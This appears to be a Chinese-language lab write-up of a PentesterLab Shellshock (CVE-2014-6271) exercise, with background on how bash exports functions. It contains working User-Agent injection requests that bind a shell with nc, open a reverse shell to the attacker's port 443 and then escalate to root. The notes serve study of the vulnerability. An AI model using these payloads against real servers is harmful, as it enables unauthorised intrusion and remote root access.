参考:https://pentesterlab.com/exercises/cve-2014-6271/course

绑定shell

在本机上操作。为了得到一个交互式shell,先在vulnerable(192.168.170.250)上用nc将/bin/sh绑定(bind)到本地9999端口。

echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.170.250 80

然后再在本机上用另一个终端连接到vulnerable的9999端口。得到shell!

➜  ~  nc 192.168.170.250 9999                             [17:16:07]
id
uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)
pwd
/var/www/cgi-bin
ls
status
sudo -s
id
uid=0(root) gid=0(root) groups=0(root)

绑定shell有一个很大的限制,即在你和vulnerable之间的防火墙会限制你连接到刚才你绑定的端口上。为了绕过这个限制,我们得让服务器主动连接我们。

反弹shell

为了让vulnerable主动连接我们,我们得在本地先绑定一个端口,而且得是一个vulnerable有权限的端口。最常见的就是21 (FTP), 53 (DNS), 123 (NTP), 80 (HTTP) and 443 (HTTPs) 。因为这些端口是保持系统更新并且处理日常操作的。
于是我们用root权限绑定本地的443端口

$ sudo nc -l  192.168.170.1  443

然后就要让vulnerable主动来连接我们

echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.170.250 80

然后在之前的shell里面,我们就可以输入命令,我们已经在vulnerable的shell里面了!

➜  ~  sudo nc -l  192.168.170.1  443                      [17:31:56]
id
uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)
sudo -s
id
uid=0(root) gid=0(root) groups=0(root)

直接在vulnerable上测试。

pentesterlab@vulnerable:~$ export dummy='() { echo "hi";}; echo "pwned"'
pentesterlab@vulnerable:~$ bash
pwned
pentesterlab@vulnerable:~$ id
uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)

在bash中,默认情况下父shell的函数是不能被子shell调用的。
而通过export -f fucntion_name引入函数,这样在子shell中就可以调用父shell的函数了。

➜  ~  bash                                                                                                                        [19:50:08]
bash-3.2$ cqq(){ echo "this is cqq";} #定义cqq这个函数
bash-3.2$ cqq # 在父shell中调用cqq函数
this is cqq
bash-3.2$ bash # 未引入函数就进入子shell
bash-3.2$ cqq # 在未引入函数的情况下在子shell中调用父shell函数
bash: cqq: command not found # 结果无法调用
bash-3.2$ export -f cqq # 引入cqq函数,以便在子shell中调用
bash-3.2$ bash # 进入子shell
bash-3.2$ cqq # 在子shell中调用cqq函数
this is cqq # 成功调用
bash-3.2$

参考:
http://unix.stackexchange.com/questions/157329/what-does-env-x-command-bash-do-and-why-is-it-insecure
http://askubuntu.com/questions/529511/explanation-of-the-command-to-check-shellshock

shellshock的条件

  • 新的子shell产生
  • 引入了一个环境变量
  • 这个环境变量以”()”开始,并且包含函数体,然后在函数结束之后,还有命令在函数体外面

在这种条件下,一个vulnerable bash将会执行函数体后的命令

Example:

$ export ex='() { echo "this is function ex";}; echo "this is bad";'
$ bash
this is bad
$ ex
this is function ex

说明:这个常规的引入的变量ex被传到了子shell,并且被解释成了函数ex。但是!!!!
当子shell产生时,尾随其后的命名却被执行了!!!!!!!!


这篇文章详细说明了与bash相关的背景知识。并且详细解释了shellshock。
http://unix.stackexchange.com/questions/157329/what-does-env-x-command-bash-do-and-why-is-it-insecure?newreg=eced0603b0aa4f879cf5d38786c42fd2